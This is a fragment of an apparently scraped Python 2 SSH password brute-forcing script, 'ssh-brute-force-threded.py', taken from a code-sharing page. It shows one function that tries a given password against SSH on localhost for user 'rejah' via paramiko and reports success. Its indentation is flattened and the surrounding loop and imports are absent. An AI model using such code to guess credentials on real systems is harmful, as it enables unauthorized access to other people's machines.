def attempt(Password):
IP = "127.0.0.1"
USER = "rejah"
PORT=22
try:
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())
try:
ssh.connect(IP , port=PORT, username=USER, password=Password)
print "Connected successfully. Password = "+Password
except paramiko.AuthenticationException, error:
print "Incorrect password: "+Password
pass
except socket.error, error:
print error
pass
except paramiko.SSHException, error:
print error
print "Most probably this is caused by a missing host key"
pass
except Exception, error:
print "Unknown error: "+error
pass
ssh.close()
except Exception,error :
print error
ssh-brute-force-threded.py 文件源码
python
阅读 41
收藏 0
点赞 0
评论 0
评论列表
文章目录